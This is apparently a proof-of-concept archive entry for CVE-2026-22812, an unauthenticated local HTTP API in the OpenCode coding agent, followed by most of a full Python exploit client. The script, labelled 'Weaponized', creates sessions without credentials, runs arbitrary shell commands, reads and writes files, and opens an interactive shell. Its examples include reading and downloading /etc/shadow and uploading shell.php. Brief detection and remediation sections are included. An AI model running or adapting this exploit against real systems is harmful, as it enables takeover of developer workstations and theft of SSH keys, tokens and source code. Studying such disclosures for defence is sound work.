PoC Archive PoC Archive
High CVE-2026-22812 (GHSA-vxw4-wv6m-9hhh) patched

OpenCode Unauthenticated Local HTTP Server -> Remote Code Execution (CVE-2026-22812)

by Ashraf Zaryouh (0xBlackash) · 2026-07-05

CVSS 8.8/10
Severity
High
CVE
CVE-2026-22812 (GHSA-vxw4-wv6m-9hhh)
Category
web
Affected product
OpenCode (AI developer/coding agent tool) local HTTP server
Affected versions
Prior to 1.0.216 (fixed in 1.0.216+)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherAshraf Zaryouh (0xBlackash)
CVE / AdvisoryCVE-2026-22812 (GHSA-vxw4-wv6m-9hhh)
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagsopencode, unauthenticated-api, rce, localhost-server, cors, session-hijack, cwe-306, cwe-942
RelatedN/A

Affected Target

FieldValue
Software / SystemOpenCode (AI developer/coding agent tool) local HTTP server
Versions AffectedPrior to 1.0.216 (fixed in 1.0.216+)
Language / PlatformPython 3 exploit tool against OpenCode’s local HTTP API
Authentication RequiredNo
Network Access RequiredYes (localhost / permissive-CORS reachable)

Summary

OpenCode versions before 1.0.216 automatically start a local HTTP server that accepts session-creation and shell-execution requests without any authentication, and does so with permissive CORS behavior. This means any local process, malicious browser tab, or injected web content that can reach the listening port can create a session and execute arbitrary shell commands as the logged-in developer, read/write arbitrary files, and pivot into secrets such as .env files, SSH keys, and cloud CLI tokens. The included exploit tool creates a session against /session, then uses /session/:id/shell to execute commands, read and write files via the file-content and shell endpoints, and drops the operator into an interactive pseudo-shell.


Vulnerability Details

Root Cause

The vulnerable OpenCode versions expose an unauthenticated local HTTP API (POST /session, POST /session/:id/shell, GET /file/content, POST /pty, etc.) with permissive cross-origin handling, so any request — including one originating from an untrusted webpage via the victim’s browser, or from any other local process — is honored without proving the caller is the legitimate OpenCode user.

Attack Vector

  1. Attacker (local malicious process, or a webpage exploiting permissive CORS/localhost access) sends POST /session to the OpenCode HTTP server and receives a session ID with no authentication.
  2. Attacker sends POST /session/:id/shell with {"agent": "build", "command": "<cmd>"}, and the server executes the command as the current user.
  3. Attacker can additionally use GET /file/content and shell-based base64 read/write tricks to exfiltrate or plant files, and POST /pty for an interactive terminal.
  4. Repeated abuse yields full command execution, credential/secret theft, source exfiltration, and persistence on the developer’s workstation.

Impact

Full compromise of the developer workstation running OpenCode: arbitrary command execution, secret/credential theft (SSH keys, .env, cloud tokens), source code exfiltration, and potential supply-chain impact from a compromised developer environment.


Environment / Lab Setup

Target:   OpenCode < 1.0.216 running its local HTTP server (default port used by the tool)
Attacker: Python 3, requests + urllib3 (pip install requests urllib3); optional: Nuclei for the included YAML template

Proof of Concept

PoC Script

See exploit.py (full exploitation client) and CVE-2026-22812.yaml (Nuclei detection/verification template) in this folder.

1
2
3
4
5
python3 exploit.py -t http://TARGET:PORT --check

python3 exploit.py -t http://TARGET:PORT -c "id"

python3 exploit.py -t http://TARGET:PORT -i

exploit.py creates a session via /session, then supports one-shot command execution, file read/write/upload/download (with automatic base64 chunking for larger files), system-info gathering, and a full interactive pseudo-shell — all without any authentication against the target. CVE-2026-22812.yaml is a Nuclei template that performs the same session-creation and command-echo check to confirm vulnerability at scale.


Detection & Indicators of Compromise

Signs of compromise:

  • OpenCode’s local port receiving requests from browser tabs or unrelated local processes
  • Unexplained shell commands, file reads/writes, or new files under project directories correlated with OpenCode activity
  • Exposed secrets (.env, SSH keys, cloud CLI tokens) showing signs of use from unfamiliar sources shortly after OpenCode was running

Remediation

ActionDetail
Primary fixUpgrade OpenCode to 1.0.216 or later (npm update opencode / npm install opencode@1.0.216)
Interim mitigationRestrict access to OpenCode’s local port, run it inside a container/isolated environment, close untrusted browser tabs while it runs, and rotate any credentials that may have been exposed

References


Notes

Mirrored from https://github.com/0xBlackash/CVE-2026-22812 on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
#!/usr/bin/env python3

import requests
import argparse
import sys
import json
import os
import base64
import readline
from typing import Optional, Dict, Any, List
from urllib.parse import urlparse
from datetime import datetime
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class Colors:
    """ANSI color codes"""
    RED = '\033[91m'
    GREEN = '\033[92m'
    YELLOW = '\033[93m'
    BLUE = '\033[94m'
    PURPLE = '\033[95m'
    CYAN = '\033[96m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'
    END = '\033[0m'

def print_banner():
    """Display the exploit banner"""
    banner = fr"""{Colors.RED}{Colors.BOLD}
 ██████╗ ██╗  ██╗██████╗ ██╗      █████╗  ██████╗██╗  ██╗ █████╗ ███████╗██╗  ██╗
██╔═████╗╚██╗██╔╝██╔══██╗██║     ██╔══██╗██╔════╝██║ ██╔╝██╔══██╗██╔════╝██║  ██║
██║██╔██║ ╚███╔╝ ██████╔╝██║     ███████║██║     █████╔╝ ███████║███████╗███████║
████╔╝██║ ██╔██╗ ██╔══██╗██║     ██╔══██║██║     ██╔═██╗ ██╔══██║╚════██║██╔══██║
╚██████╔╝██╔╝ ██╗██████╔╝███████╗██║  ██║╚██████╗██║  ██╗██║  ██║███████║██║  ██║
 ╚═════╝ ╚═╝  ╚═╝╚═════╝ ╚══════╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝
{Colors.END}
{Colors.PURPLE}{Colors.BOLD}CVE-2026-22812 Exploitation Tool - OpenCode RCE < v1.0.216{Colors.END}
{Colors.YELLOW}Author: Ashraf ZAryouh "0xBlackash{Colors.END}
"""
    # Center and print banner
    for line in banner.split('\n'):
        print(f"{line.center(120)}")

class Exploit:
    def __init__(self, target: str, timeout: int = 10, proxy: str = None):
        self.target = target.rstrip('/')
        self.timeout = timeout
        self.session = requests.Session()
        self.session_id = None
        
        # Headers
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36',
            'Content-Type': 'application/json'
        })
        
        # Proxy
        if proxy:
            self.session.proxies = {
                'http': proxy,
                'https': proxy
            }
        
        # Stats
        self.stats = {
            'commands': 0,
            'files_read': 0,
            'files_written': 0,
            'errors': 0
        }
    
    def log(self, msg: str, level: str = "info"):
        """Log messages with color"""
        prefix = {
            'info': f'{Colors.BLUE}[*]{Colors.END}',
            'success': f'{Colors.GREEN}[+]{Colors.END}',
            'error': f'{Colors.RED}[-]{Colors.END}',
            'warn': f'{Colors.YELLOW}[!]{Colors.END}',
            'debug': f'{Colors.CYAN}[.]{Colors.END}'
        }
        print(f"{prefix.get(level, '[?]')} {msg}")
    
    def check_vuln(self) -> bool:
        """Check if target is vulnerable"""
        try:
            self.log(f"Target: {self.target}", "info")
            self.log("Checking vulnerability...", "info")
            
            url = f"{self.target}/session"
            resp = self.session.post(url, json={}, timeout=self.timeout, verify=False)
            
            if resp.status_code == 200:
                try:
                    data = resp.json()
                    if 'id' in data:
                        self.session_id = data['id']
                        self.log(f"VULNERABLE! Session: {self.session_id}", "success")
                        return True
                except:
                    pass
            self.log("Not vulnerable", "error")
            return False
        except Exception as e:
            self.log(f"Check failed: {e}", "error")
            return False
    
    def create_session(self) -> bool:
        """Create exploitation session"""
        try:
            url = f"{self.target}/session"
            resp = self.session.post(url, json={}, timeout=self.timeout, verify=False)
            
            if resp.status_code == 200:
                data = resp.json()
                self.session_id = data.get('id')
                if self.session_id:
                    self.log(f"Session created: {self.session_id}", "success")
                    return True
            return False
        except Exception as e:
            self.log(f"Session error: {e}", "error")
            return False
    
    def exec_cmd(self, cmd: str, silent: bool = False) -> Optional[Dict]:
        """Execute command on target"""
        if not self.session_id:
            if not self.create_session():
                return None
        
        try:
            if not silent:
                self.log(f"Exec: {cmd}", "info")
            
            url = f"{self.target}/session/{self.session_id}/shell"
            payload = {"agent": "build", "command": cmd}
            
            resp = self.session.post(url, json=payload, timeout=self.timeout, verify=False)
            self.stats['commands'] += 1
            
            if resp.status_code in [200, 201, 202]:
                if not silent:
                    self.log("Command executed", "success")
                try:
                    return resp.json()
                except:
                    return {"output": resp.text}
            else:
                if not silent:
                    self.log(f"HTTP {resp.status_code}", "error")
                self.stats['errors'] += 1
                return None
        except Exception as e:
            if not silent:
                self.log(f"Exec error: {e}", "error")
            self.stats['errors'] += 1
            return None
    
    def read_file(self, path: str) -> Optional[str]:
        """Read file from target"""
        try:
            self.log(f"Reading: {path}", "info")
            url = f"{self.target}/file/content"
            params = {"path": path}
            
            resp = self.session.get(url, params=params, timeout=self.timeout, verify=False)
            
            if resp.status_code == 200:
                self.stats['files_read'] += 1
                self.log(f"Read {len(resp.text)} bytes", "success")
                return resp.text
            else:
                self.log(f"Failed: HTTP {resp.status_code}", "error")
                return None
        except Exception as e:
            self.log(f"Read error: {e}", "error")
            return None
    
    def write_file(self, path: str, content: str) -> bool:
        """Write file to target"""
        try:
            self.log(f"Writing: {path}", "info")
            encoded = base64.b64encode(content.encode()).decode()
            cmd = f"echo {encoded} | base64 -d > {path}"
            
            result = self.exec_cmd(cmd, silent=True)
            if result:
                verify = f"test -f {path} && echo OK"
                check = self.exec_cmd(verify, silent=True)
                if check and 'OK' in str(check):
                    self.stats['files_written'] += 1
                    self.log("Write successful", "success")
                    return True
            self.log("Write failed", "error")
            return False
        except Exception as e:
            self.log(f"Write error: {e}", "error")
            return False
    
    def upload(self, local: str, remote: str) -> bool:
        """Upload file to target"""
        try:
            if not os.path.exists(local):
                self.log(f"Local file missing: {local}", "error")
                return False
            
            self.log(f"Upload: {local}{remote}", "info")
            
            with open(local, 'rb') as f:
                content = f.read()
            encoded = base64.b64encode(content).decode()
            
            if len(encoded) > 50000:
                self.log("Large file, chunking...", "warn")
                chunks = [encoded[i:i+50000] for i in range(0, len(encoded), 50000)]
                self.exec_cmd(f"rm -f {remote}", silent=True)
                
                for i, chunk in enumerate(chunks):
                    cmd = f"echo {chunk} >> {remote}.b64"
                    if not self.exec_cmd(cmd, silent=True):
                        self.log(f"Chunk {i+1} failed", "error")
                        return False
                
                decode = f"base64 -d {remote}.b64 > {remote} && rm {remote}.b64"
                self.exec_cmd(decode, silent=True)
            else:
                cmd = f"echo {encoded} | base64 -d > {remote}"
                self.exec_cmd(cmd, silent=True)
            
            # Verify
            check = f"ls -lh {remote}"
            result = self.exec_cmd(check, silent=True)
            if result:
                self.log("Upload complete", "success")
                return True
            return False
        except Exception as e:
            self.log(f"Upload error: {e}", "error")
            return False
    
    def download(self, remote: str, local: str) -> bool:
        """Download file from target"""
        try:
            self.log(f"Download: {remote}{local}", "info")
            content = self.read_file(remote)
            
            if content:
                with open(local, 'w') as f:
                    f.write(content)
                self.log(f"Downloaded {len(content)} bytes", "success")
                return True
            return False
        except Exception as e:
            self.log(f"Download error: {e}", "error")
            return False
    
    def get_info(self) -> Dict[str, str]:
        """Gather system information"""
        self.log("Collecting system info...", "info")
        info = {}
        
        commands = {
            'hostname': 'hostname',
            'user': 'whoami',
            'id': 'id',
            'pwd': 'pwd',
            'uname': 'uname -a',
            'os': 'cat /etc/os-release 2>/dev/null | head -5',
            'ip': 'ip addr show 2>/dev/null | grep inet | head -5',
            'ps': 'ps aux | head -10'
        }
        
        for key, cmd in commands.items():
            result = self.exec_cmd(cmd, silent=True)
            if result:
                info[key] = str(result).strip()
        
        return info
    
    def shell(self):
        """Interactive shell"""
        if not self.session_id:
            if not self.create_session():
                return
        
        print(f"\n{Colors.GREEN}{Colors.BOLD}[*] Interactive Shell{Colors.END}")
        print(f"{Colors.YELLOW}[!] Type 'help' for commands, 'exit' to quit{Colors.END}\n")
        
        # Get prompt info
        host_result = self.exec_cmd("hostname", silent=True)
        user_result = self.exec_cmd("whoami", silent=True)
        host = str(host_result).strip() if host_result else "target"
        user = str(user_result).strip() if user_result else "user"
        
        while True:
            try:
                prompt = f"{Colors.GREEN}{user}@{host}{Colors.END}$ "
                cmd = input(prompt).strip()
                
                if not cmd:
                    continue
                
                if cmd.lower() == 'exit':
                    self.log("Exiting shell...", "info")
                    break
                
                elif cmd.lower() == 'help':
                    self.show_help()
                    continue
                
                elif cmd.startswith('read '):
                    path = cmd[5:].strip()
                    content = self.read_file(path)
                    if content:
                        print(content)
                    continue
                
                elif cmd.startswith('download '):
                    parts = cmd.split()
                    if len(parts) == 3:
                        self.download(parts[1], parts[2])
                    else:
                        self.log("Usage: download <remote> <local>", "error")
                    continue
                
                elif cmd.startswith('upload '):
                    parts = cmd.split()
                    if len(parts) == 3:
                        self.upload(parts[1], parts[2])
                    else:
                        self.log("Usage: upload <local> <remote>", "error")
                    continue
                
                elif cmd == 'sysinfo':
                    info = self.get_info()
                    print(json.dumps(info, indent=2))
                    continue
                
                elif cmd == 'stats':
                    self.show_stats()
                    continue
                
                elif cmd == 'session':
                    print(f"Session: {self.session_id}")
                    continue
                
                # Execute command
                result = self.exec_cmd(cmd, silent=True)
                if result:
                    output = result.get('output') or str(result)
                    if output and output != '{}':
                        print(output)
            
            except KeyboardInterrupt:
                print(f"\n{Colors.YELLOW}[!] Ctrl+C - Type 'exit' to quit{Colors.END}")
            except EOFError:
                break
            except Exception as e:
                self.log(f"Shell error: {e}", "error")
    
    def show_help(self):
        """Display shell help"""
        help_text = f"""
{Colors.BOLD}Available Commands:{Colors.END}

{Colors.CYAN}Shell:{Colors.END}
  <command>                   Execute shell command
  help                       Show this help
  exit                       Exit shell
  session                    Show session ID
  stats                      Show statistics

{Colors.CYAN}Files:{Colors.END}
  read <file>                Read file content
  download <remote> <local>  Download file
  upload <local> <remote>    Upload file

{Colors.CYAN}System:{Colors.END}
  sysinfo                    Get system information

{Colors.YELLOW}Examples:{Colors.END}
  ls -la
  cat /etc/passwd
  read /etc/shadow
  download /etc/hosts ./hosts.txt
  upload shell.php /tmp/shell.php
"""
        print(help_text)
    
    def show_stats(self):
        """Show exploitation statistics"""
        print(f"\n{Colors.BOLD}Statistics:{Colors.END}")
        print(f"  Commands:       {self.stats['commands']}")
        print(f"  Files read:     {self.stats['files_read']}")
        print(f"  Files written:  {self.stats['files_written']}")
        print(f"  Errors:         {self.stats['errors']}\n")

def main():
    print_banner()
    
    parser = argparse.ArgumentParser(
        description='CVE-2026-22812 - OpenCode RCE Exploit',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=f"""
{Colors.BOLD}Examples:{Colors.END}
  # Verify target
  python3 exploit.py -t http://10.0.0.1:4096 --check
  
  # Interactive shell
  python3 exploit.py -t http://10.0.0.1:4096 -i
  
  # Single command
  python3 exploit.py -t http://10.0.0.1:4096 -c "id"
  
  # Read file
  python3 exploit.py -t http://10.0.0.1:4096 -r /etc/passwd
  
  # Upload file
  python3 exploit.py -t http://10.0.0.1:4096 --upload shell.sh /tmp/shell.sh
  
  # Download file
  python3 exploit.py -t http://10.0.0.1:4096 --download /etc/shadow shadow.txt
  
  # System info
  python3 exploit.py -t http://10.0.0.1:4096 --info
  
  # With proxy
  python3 exploit.py -t http://10.0.0.1:4096 -c "whoami" --proxy http://127.0.0.1:8080
        """
    )
    
    parser.add_argument('-t', '--target', required=True,
                       help='Target URL (http://host:port)')
    
    action_group = parser.add_mutually_exclusive_group()
    action_group.add_argument('-c', '--command', help='Execute command')
    action_group.add_argument('-r', '--read', help='Read file')
    action_group.add_argument('-i', '--interactive', action='store_true',
                             help='Interactive shell')
    action_group.add_argument('--info', action='store_true',
                             help='Get system info')
    action_group.add_argument('--check', action='store_true',
                             help='Check if vulnerable')
    
    parser.add_argument('--upload', nargs=2, metavar=('LOCAL', 'REMOTE'),
                       help='Upload file')
    parser.add_argument('--download', nargs=2, metavar=('REMOTE', 'LOCAL'),
                       help='Download file')
    
    parser.add_argument('--timeout', type=int, default=10,
                       help='Timeout (default: 10)')
    parser.add_argument('--proxy', help='Proxy (http://ip:port)')
    
    args = parser.parse_args()
    
    try:
        exploit = Exploit(
            target=args.target,
            timeout=args.timeout,
            proxy=args.proxy
        )
        
        # Check only
        if args.check or not any([args.command, args.read, args.interactive,
                                 args.info, args.upload, args.download]):
            if exploit.check_vuln():
                sys.exit(0)
            else:
                sys.exit(1)
        
        # Create session for other actions
        if not exploit.create_session():
            exploit.log("Failed to create session", "error")
            sys.exit(1)
        
        exploit.log(f"Session: {exploit.session_id}", "success")
        
        # Handle actions
        if args.interactive:
            exploit.shell()
        elif args.command:
            result = exploit.exec_cmd(args.command)
            if result:
                output = result.get('output') or str(result)
                print(f"\n{output}\n")
        elif args.read:
            content = exploit.read_file(args.read)
            if content:
                print(f"\n{content}\n")
        elif args.info:
            info = exploit.get_info()
            print(f"\n{Colors.BOLD}System Info:{Colors.END}")
            print(json.dumps(info, indent=2))
            print()
        elif args.upload:
            exploit.upload(args.upload[0], args.upload[1])
        elif args.download:
            exploit.download(args.download[0], args.download[1])
Showing 500 of 515 lines View full file on GitHub →